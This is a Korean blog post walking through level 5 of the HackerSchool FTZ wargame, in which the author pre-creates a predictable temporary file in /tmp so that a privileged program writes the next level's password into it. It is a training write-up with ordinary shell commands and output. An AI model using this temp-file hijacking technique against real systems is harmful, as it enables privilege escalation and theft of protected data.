티스토리 뷰

Pwnable/FTZ level

[hackerschool FTZ] level5

PAPICO 2016. 12. 27. 20:04

level5를 풀어보겠다.


[level5@ftz level5]$


ls -al를 입력해 무슨 디렉토리와 파일들이 있는지 알아보자.


[level5@ftz level5]$ ls -al

total 80

drwxr-xr-x    4 root     level5       4096 May  7  2002 .

drwxr-xr-x   34 root     root         4096 Sep 10  2011 ..

-rw-------    1 root     root            1 Jan 15  2010 .bash_history

-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout

-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile

-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc

-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc

-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs

-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc

-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc

-rw-r--r--    1 root     root          129 Mar 23  2000 hint

-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc

-rw-r--r--    1 root     root          367 Sep 24  2000 .profile

drwxr-xr-x    2 root     level5       4096 Feb 24  2002 public_html

drwxrwx---    2 root     level5       4096 Jan 16  2009 tmp

-rw-r--r--    1 root     root            1 May  7  2002 .viminfo

-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc

-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults


hint 파일을 열어보면


[level5@ftz level5]$ cat hint


/usr/bin/level5 프로그램은 /tmp 디렉토리에

level5.tmp 라는 이름의 임시파일을 생성한다.


이를 이용하여 level6의 권한을 얻어라.




그럼 한 번 /usr/bin/level5을 실행시켜보고 /tmp 디렉토리에 level5.tmp라는 임시파일이 생성되었는지 살펴보자.


[level5@ftz bin]$ /usr/bin/level5

[level5@ftz bin]$ cd /tmp

[level5@ftz tmp]$ ls -al

total 8

drwxrwxrwt    2 root     root         4096 Dec 27 19:18 .

drwxr-xr-x   20 root     root         4096 Dec 27 19:13 ..

srwxrwxrwx    1 mysql    mysql           0 Dec 27 19:13 mysql.sock


...? 임시파일이 없다. 만들고 바로 삭제가 되나 보다. 그럼 /tmp 경로에 미리 level5.tmp라는 파일을 만들어 놓고 덮어 쓰이게 만들겠다. 


[level5@ftz tmp]$ cat > level5.tmp

NEVER EVER GIVE UP

[level5@ftz tmp]$ ls -al

total 12

drwxrwxrwt    2 root     root         4096 Dec 27 19:28 .

drwxr-xr-x   20 root     root         4096 Dec 27 19:13 ..

-rw-rw-r--    1 level5   level5         19 Dec 27 19:28 level5.tmp

srwxrwxrwx    1 mysql    mysql           0 Dec 27 19:13 mysql.sock


그럼 이제 다시 /usr/bin/level5 실행시켜 보고 /tmp 경로에 있는 level5.tmp라는 파일을 확인해 보겠다.


[level5@ftz tmp]$ /usr/bin/level5

[level5@ftz tmp]$ ls -al

total 12

drwxrwxrwt    2 root     root         4096 Dec 27 19:28 .

drwxr-xr-x   20 root     root         4096 Dec 27 19:13 ..

-rw-rw-r--    1 level5   level5         31 Dec 27 20:01 level5.tmp

srwxrwxrwx    1 mysql    mysql           0 Dec 27 19:13 mysql.sock


안 사라지고 파일이 그대로 있다. 확인해보면


[level5@ftz tmp]$ cat level5.tmp

next password : what the hell


패스워드를 얻었다!!

'Pwnable > FTZ level' 카테고리의 다른 글

[hackerschool FTZ] level7  (2) 2017.01.03
[hackerschool FTZ] level6  (0) 2016.12.27
[hackerschool FTZ] level4  (0) 2016.12.26
[hackerschool FTZ] level3  (0) 2016.11.13
[hackerschool FTZ] level2  (0) 2016.11.10
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함